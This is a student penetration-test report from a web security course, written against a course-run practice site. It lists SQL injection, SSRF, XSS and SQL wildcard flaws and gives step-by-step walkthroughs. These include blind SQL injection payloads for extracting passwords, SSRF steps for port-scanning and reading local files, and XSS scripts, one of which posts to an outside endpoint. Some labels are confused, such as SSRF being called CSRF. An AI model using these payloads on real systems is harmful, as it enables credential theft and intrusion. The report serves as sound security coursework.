We Test Pens Incorporated

COMP90074 - Web Security Assignment 2

Jiaxuan Feng

965867

**PENETRATION TEST REPORT FOR**

**PleaseHold Pty. Ltd. - WEB APPLICATION**

**Report delivered: 6/5/2021**

# Executive Summary

This report is for vulnerabilities found in website <http://assignment-hermes.unimelb.life>.

We Test Pens Incorporated has carried out an exhaustive penetration test of this web application at the request of InHR, and as a result, four vulnerabilities (and their associated risks) have been uncovered. Their severity from high to low is as follows:

1. SQL injection;
2. Cross-site request forgery;
3. Cross-site scripting;
4. SQL wildcard.

SQL injection: In Find User page, an authenticated user can enquiry whether a user existed in the database, and there is a SQL injection vulnerability. If attackers input tricky strings and send the request to server, they can guess the content of this table according to the response. With brute force, they can figure out all data saved in this table containing all users’ information, such as username, id, and password.

Cross-site request forgery: In User Profile page, there is a website input box and a validate website button, and an attacker can use this to explore the file structure of the server and access server’s local file.

Cross-site scripting: In Anonymous Question page, an authenticated user can send their own script, and execute the script by the server. With additional information disclosure, users can perform unauthorized operations.

SQL wildcard: In API Documentation page, there are instructions for enquiring API information in the database. However, an attacker can use SQL wildcard to access the API table and gain all data saved there.

Table of Contents

[Executive Summary 2](#_Toc71488319)

[Summary of Findings 5](#_Toc71488320)

[Detailed Findings 6](#_Toc71488321)

[Finding 1 – SQL Injection in Find User Functionality 6](#_Toc71488322)

[**Description** 6](#_Toc71488323)

[**Proof of Concept** 6](#_Toc71488324)

[**Impact** 6](#_Toc71488325)

[**Likelihood** 6](#_Toc71488326)

[**Risk Rating** 6](#_Toc71488327)

[**References** 6](#_Toc71488328)

[**Recommendation** 6](#_Toc71488329)

[Finding 2 – Server-side Request Forgery in User Profile Page 7](#_Toc71488330)

[**Description** 7](#_Toc71488331)

[**Proof of Concept** 7](#_Toc71488332)

[**Impact** 7](#_Toc71488333)

[**Likelihood** 7](#_Toc71488334)

[**Risk Rating** 7](#_Toc71488335)

[**References** 7](#_Toc71488336)

[**Recommendation** 7](#_Toc71488337)

[Finding 3 - Cross-Site Scripting in Anonymous Question Page 8](#_Toc71488338)

[**Description** 8](#_Toc71488339)

[**Proof of Concept** 8](#_Toc71488340)

[**Impact** 8](#_Toc71488341)

[**Likelihood** 8](#_Toc71488342)

[**Risk Rating** 8](#_Toc71488343)

[**References** 8](#_Toc71488344)

[**Recommendation** 8](#_Toc71488345)

[Finding 4 - SQL Wildcard Attack in API Documentation Page 9](#_Toc71488346)

[**Description** 9](#_Toc71488347)

[**Proof of Concept** 9](#_Toc71488348)

[**Impact** 9](#_Toc71488349)

[**Likelihood** 9](#_Toc71488350)

[**Risk Rating** 9](#_Toc71488351)

[**References** 9](#_Toc71488352)

[**Recommendation** 9](#_Toc71488353)

[Appendix I - Risk Matrix 10](#_Toc71488354)

[Appendix 2 - Additional Information 11](#_Toc71488355)

[Section 1 – SQL Injection Exploitation Walkthrough 11](#_Toc71488356)

[Section 2 – SSRF Exploitation Walkthrough 14](#_Toc71488357)

[Section 3 – Cross-Site Scripting Exploitation Walkthrough 15](#_Toc71488358)

[Section 4 – SQL Wildcard Exploitation 17](#_Toc71488359)

# Summary of Findings

|  |  |  |
| --- | --- | --- |
| **Risk** | **Reference** | **Vulnerability** |
| High | Finding 1 | SQL injection vulnerability present in find user functionality |
| High | Finding 2 | Cross-site request forgery vulnerability present in user profile page, validate website functionality |
| Medium | Finding 3 | DOM cross-site scripting vulnerability present in anonymous question functionality |
| Medium | Finding 4 | SQL wildcard vulnerability present in API documentation functionality |

# Detailed Findings

## Finding 1 – SQL Injection in Find User Functionality

|  |  |
| --- | --- |
| **Description** | In Find User page, an authenticated user can input a string, to search whether a user’s name in the database is same as this string, return true or false. But with SQL injection and wildcard techniques, an attacker can figure out all data saved in this user table. |
| **Proof of Concept** | This vulnerability arises when an authenticated user input in the search bar in the web page(<http://assignment-hermes.unimelb.life/find.php>). Because the response only includes true,false, and hacker dected, the attacker firstly needs to try out how to avoid hacker dected, and then get the content saved in this table by guessing characters one by one, and determine whether the guess is correct according to the response from the server. For a detailed walkthrough, see [Appendix2, Section1](#A2_s1). |
| **Impact** | **Major:** By multiple attempts, an attacker could gain all data saved in this user table which the user find page will enquiry. As a result, the attacker can obtain login credentials for all users. If an administrator is also saved in this table, this vulnerability will lead to more serious result. For example, an attacker can figure out that the password of our lecturer, Sajeeb, contains nine characters, with more work, he can get the correct password. |
| **Likelihood** | **Possible:** We see this SQL injection as possible, because only authenticated users can use the find user functionality. If an attacker wants to exploit this vulnerability, firstly, he needs a valid login credentials to authenticate into the web application. |
| **Risk Rating** | **High:** This vulnerability’s impact is major, and likelihood is possible, according to ISO31000 Risk Matrix ([Appendix 1](#A1)), the risk rating is high. |
| **References** | [1] <https://portswigger.net/web-security/sql-injection>  [2] <https://portswigger.net/web-security/sql-injection/cheat-sheet>  [3] Lecture 5,6 slides: SQLi; SQL Wildcard |
| **Recommendation** | Prepared statement (with parameterized queries) can help with this vulnerability. This method forces the developer to first define all the SQL code, and then pass in each parameter to the query later. For example: |

## Finding 2 – Server-side Request Forgery in User Profile Page

|  |  |
| --- | --- |
| **Description** | In User Profile page, there is SSRF vulnerability. It can be performed by validate website functionality by try all possible ports. If anything is on one port, the response will contain related information. Brup Suite is needed there because this website does not display the response message directly, but you can see it in Burp Suite. Python is also fine and can work more effectively. |
| **Proof of Concept** | For a quick access, open Burp Suite and login the website, visit user profile page (<http://assignment-hermes.unimelb.life/profile.php>). Input any valid URL in website section, click validate website button. In burp suite, send this request (looks like: <http://assignment-hermes.unimelb.life/validate.php?web=http://localhost:8873>) to repeater and modify the request header as below:    Send out and we will get the flag in the response. For a detailed walkthrough and flag screenshot, see [Appendix 2, Section 2](#A2_s2). |
| **Impact** | **Major:** This vulnerability is very serious, because an attacker can access all local files saved in server. It can cause sensitive information leakage, and thus lead to more terrible results. |
| **Likelihood** | **Possible:** We see this SSRF as possible, because only authenticated users can use validate website functionality. If an attacker wants to exploit this vulnerability, firstly, he needs a valid login credentials to authenticate into the web application. |
| **Risk Rating** | **High:** This vulnerability’s impact is major, and likelihood is possible, according to ISO31000 Risk Matrix ([Appendix 1](#A1)), the risk rating is high. |
| **References** | [1] <https://portswigger.net/web-security/ssrf>  [2] Lecture 13 – SSRF slides |
| **Recommendation** | Use a whitelist services by the validate.php application, if any input URL is not in the whitelist, the application can response a string set in advance. |

## Finding 3 - Cross-Site Scripting in Anonymous Question Page

|  |  |
| --- | --- |
| **Description** | For DOM-based cross-site scripting, an attacker needs to be able to post on the website, while it can be done in Anonymous Question page. After pasting the content of xss2.txt into the input box, and click “SUBMIT QUESTION”, the script will be received and executed by the server. As a result, we can see the change in User Profile page. |
| **Proof of Concept** | For a quick access, after login, only need to copy and paste the content of XSS2.txt into input box of Anonymous Question page(<http://assignment-hermes.unimelb.life/question.php>), click submit. Then visit User Profile page(<http://assignment-hermes.unimelb.life/profile.php>), and the Flag has been displayed. For a detailed walkthrough and explanation, see [Appendix 2, Section 3](#A2_s3). |
| **Impact** | **Moderate:** This XSS is based on information disclosure, and can only work on one function, which can change users’ probation status. If you want to access other files through this XSS injection point, the website will pop up hacker detected. Thus, I think the effect is limited, and this vulnerability should be moderate. |
| **Likelihood** | **Possible:** I see this cross-site scripting as possible, because only authenticated users can use the Anonymous Question functionality. If an attacker wants to exploit this vulnerability, firstly, he needs a valid login credentials to authenticate into the web application. |
| **Risk Rating** | **Medium:** This vulnerability’s impact is moderate, and likelihood is possible, according to ISO31000 Risk Matrix ([Appendix 1](#A1)), the risk rating is medium. |
| **References** | [1] <https://portswigger.net/web-security/cross-site-scripting>  [2] Lecture 2 – XSS slides |
| **Recommendation** | Firstly, developers of this website should hide the details of function pass\_probation. For example, put the code of this function in different file and only reference it when needed.  Secondly, the website should encode data on output before user-controllable data is written to a page, which can make users’ data not able to execute. |

## Finding 4 - SQL Wildcard Attack in API Documentation Page

|  |  |
| --- | --- |
| **Description** | SQL wildcard can lead to leakage of sensitive information. In this vulnerability, special characters, such as % or \_, can help us explore data saved in database. In API documentation page, there are instructions for how to access API information. And we can change the value of name parameter to %, to access all information in this API table |
| **Proof of Concept** | Step1: Open burp suite and login the website, then visit URL <http://assignment-hermes.unimelb.life/api/store.php?name=OSCP>.  Step2: In burp suite, send this request to repeater, in the header part, add one line (the complete screenshot of this request and response can be found in [Appendix 2 Section 4](#A2_s4)):  apikey: ace0ee64-af2a-11eb-9a2c-0242ac110002  Send the request, and we can get information about OSCP in the response.    Step3: Change the request, replace OSCP with %. And send out the request. Now we receive a response containing information of all APIs saved in this database, and the FLAG is there. (See the request and complete response at [Appendix 2 Section 4](#A2_s4).) |
| **Impact** | **Moderate:** This vulnerability can only lead to leakage of the API table. In this table, except the flag, there are no other sensitive information. Thus, I think it should be moderate. |
| **Likelihood** | **Possible:** I think the SQL wildcard as possible, because only authenticated users can use the Anonymous Question functionality. If an attacker wants to exploit this vulnerability, firstly, he needs a valid login credentials to authenticate into the web application. |
| **Risk Rating** | **Medium:** This vulnerability’s impact is moderate, and likelihood is possible, according to ISO31000 Risk Matrix ([Appendix 1](#A1)), the risk rating should be medium. |
| **References** | [1] Lecture 6 - SQL Wildcard slides |
| **Recommendation** | The website can use a blacklist to avoid special characters, such as %. The website can also assign different apikeys to each API for access permission. |

# Appendix I - Risk Matrix

All risks assessed in this report are in line with the ISO31000 Risk Matrix detailed below:



# Appendix 2 - Additional Information

## Section 1 – SQL Injection Exploitation Walkthrough

This SQL injection vulnerability lies in the web application’s Find User functionality. This can be accessed by authenticated users from ether the find page (<http://assignment-hermes.unimelb.life/find.php>) or the Find User bar at the top right of every internal page (or the right-hand side menu bar when the browser window has been reduced to a certain size). If I search my own username “jiaxuan”, this query is passed as parameters in a GET request to URL <http://assignment-hermes.unimelb.life/find-user.php?username=jiaxuan>, the response from this URL will be “true” (Fig 1.1), while on the website, “User Found!” will be displayed on the right side of the page(Fig 1.2).

If there are no such data in the database, the response will be “No data was fetched” (Fig 1.3), and display “User Not Found” on the website.

Text

Description automatically generated

**Fig 1.1**

A screenshot of a computer

Description automatically generated with medium confidence

**Fig 1.2**

Text

Description automatically generated

**Fig 1.3**

When the input is not proper like syntax error, the webpage will pop up “Hacker Dected!”. For example, if I just input one apostrophe “’”, it will show me “hacker dected!” (Fig1.4).

Graphical user interface, application, Teams

Description automatically generated

**Fig 1.4**

From the output, we can gain information from the three types of information: User Found, User Not Found, or Hacker detected. If it shows hacker detected, there are syntax error occurs when a query sent to the database, such as wrong number of output lines, or wrong name of columns. When User not found, it only means that there is no query data in the database. When user found, it means there is what we want in the database.

Exploit 1: Leaking sensitive information (i.e. the flag)

|  |  |  |
| --- | --- | --- |
| **STEP** | **Payload** | **Explanation** |
| 1 | jiaxuan'+--+ | This output shows user found. It means that we can use “+--+” for comment in the database used by this website. |
| 2 | jiaxuan'+AND+ID+LIKE+'%'+--+ | The website does not pop up “hacker detected”, Which means that there is a “ID” column in the table. |
| 3 | jiaxuan'+AND+PASSWORD+LIKE+'%'+--+ | The website does not pop up “hacker detected”, Which means that there is a “PASSWORD” column in the database. So far, we have known that there are at least 3 columns in this table: ID, PASSWORD, and USERNAME.  With this information, if there is a flag, it can only be in column PASSWORD or USERNAME, as the length of ID’s value is too short to store a flag. With wildcard, we can figure out where the flag is saved. |
| 4 | FLAG%'+AND+PASSWORD+LIKE+'%’+--+ | The flag is not in “username” column. |
| 5 | %'+AND+PASSWORD+LIKE+'FLAG{%'+--+ | With this information, we know one password contains “FLAG”. However, we cannot get this password directly, so we need to try one by one. Firstly, we need to know the length of this password. |
| 6 | %'+AND+PASSWORD+LIKE+BINARY+'FLAG{\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_'+--+ | With BINARY, the query can be case sensitive.  By adding the number of “\_” behind “FLAG{“ until website displays User Found, there are 28 “\_” in total, so we need to figure out the 28 remaining characters. |
| 7 | Use my python script to figure out every characters of password containg flag.  **Note**: The code of script and output can be found in file SQLinScript.ipynb or behind this table. Before running the script, remember to replace the cookies parameters with your own value. | The whole output can be found behind this table, and now we get the final flag: |

1. Script in SQLinScript.ipynb

文本

描述已自动生成

1. Output of this script

图片包含 文本

描述已自动生成

## Section 2 – SSRF Exploitation Walkthrough

|  |  |  |
| --- | --- | --- |
| **STEP** | **Action** | **Result** |
| 1 | Open Burp Suite, and login. Visit the User Profile page(<http://assignment-hermes.unimelb.life/profile.php>). Input <http://localhost:8080> in website input box, click button “Validate Website”. | In Burp Suite, we can find the response form URL <http://assignment-hermes.unimelb.life/validate.php?web=http://localhost:8080>:    This step is only used to confirm the reply message, you can replace 8080 with any number in the range of port. |
| 2 | Use the script SsrfScript.ipynb to scan all ports, until we get a different response. (The content of SsrfScript.ipynb can also be found after this table. Before use, remember to replace the value of cookies with your own). | With the script, we know that port 8873’s response is different. |
| 3 | In Burp Suite, send the request in step1 to repeater. Change the header as: | In Burp Suite, we can get such response:    According to the content in “a href”, there are documents/, random/, and storage/ on this port. |
| 4 | Add documents/ behind the request header as:    (You can also have a try to add others instead, such as random/ or storage/, but flag is not there. Same in the next steps.) | Send request and get such response: |
| 5 | Add background-checks/ behind the request as: | Send request and get such response: |
| 6 | Add sensitive/ in request as: |  |
| 7 | Add flag.txt behind the request as: | Now, we get the flag: |

1. Content and result of SsrfScript.ipynb文本

   描述已自动生成

## Section 3 – Cross-Site Scripting Exploitation Walkthrough

This XSS injection vulnerability lies in the web application’s Anonymous Question functionality. This can be accessed by authenticated users from ether the find page (<http://assignment-hermes.unimelb.life/question.php>) or the Anonymous bar at the top right of every internal page (or the right-hand side menu bar when the browser window has been reduced to a certain size). To find the XSS vulnerability, you can copy the content in file XSS1.txt (the content can also be found at end of this section, remember to replace the URL with your own endpoint), paste into the input box in Anonymous Question page, after submitting, the endpoint will receive information, thus XSS can be explored through this input box. Based on information disclosure occurred on User Profile page (<http://assignment-hermes.unimelb.life/profile.php>), the XSS can lead to leakage of sensitive information, such as a flag.

Exploit 1: Leaking sensitive information (i.e. the flag)

|  |  |  |
| --- | --- | --- |
| **STEP** | **Action** | **Explanation** |
| 1 | After login, visit the profile page (<http://assignment-hermes.unimelb.life/profile.php>), notice that the state of “On Probation?” is “yes”, and button “Pass Probation” is not active. View the page source code, we can find the parts about pass\_probation. | In line 58, it shows that button “Pass Probation” should invoke function pass\_probation(), but it is disabled.  手机屏幕截图  描述已自动生成  From line 201, this part of code shows the content of function pass\_probation(), what we need to do is to execute the code. |
| 2 | Visit Anonymous Question page(<http://assignment-hermes.unimelb.life/question.php>), Copy the code form XSS2.txt and paste into the input box.(The content can also be found after this table, remember to replace the URL in the file with your own endpoint). After submitting, we have passed probation, and can find the flag in User Profile page(<http://assignment-hermes.unimelb.life/profile.php>).  图形用户界面, 文本, 应用程序  描述已自动生成 | XSS2.txt’s content is from the code mentioned in step 1. Because we only want to execute the content of function pass\_probation() without click button “Pass Probation”, we only need the content within the function. As for x.open(), because Question page and Profile page are different pages, and there is no element which ID is “username” in Question page, we need to replace the URL with a full version, and add our username as the value of parameter “user” in the request manually. As the result, the final URL is <http://assignment-hermes.unimelb.life/pass_probation.php?user=jiaxuan>, so x.open should look like:  x.open("GET", "http://assignment-hermes.unimelb.life/pass\_probation.php?user=jiaxuan", true); |

1. Content of XSS1.txt

<script>

var x = new XMLHttpRequest();

x.open("POST","https://jiaxuan.free.beeceptor.com");

x.send(1);

</script>

2. Content of XSS2.txt

<script>

var x = new XMLHttpRequest();

x.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

return true;

}

};

x.open("GET", "http://assignment-hermes.unimelb.life/pass\_probation.php?user=jiaxuan", true);

x.send();

</script>

## Section 4 – SQL Wildcard Exploitation

1. Screenshot of the request and response for [Finding-4, step2](#f4_s2):

图形用户界面, 文本, 应用程序, Word

描述已自动生成

1. Screenshot of the request and response for [Finding-4, step3](#f4_s3):

图形用户界面, 文本

描述已自动生成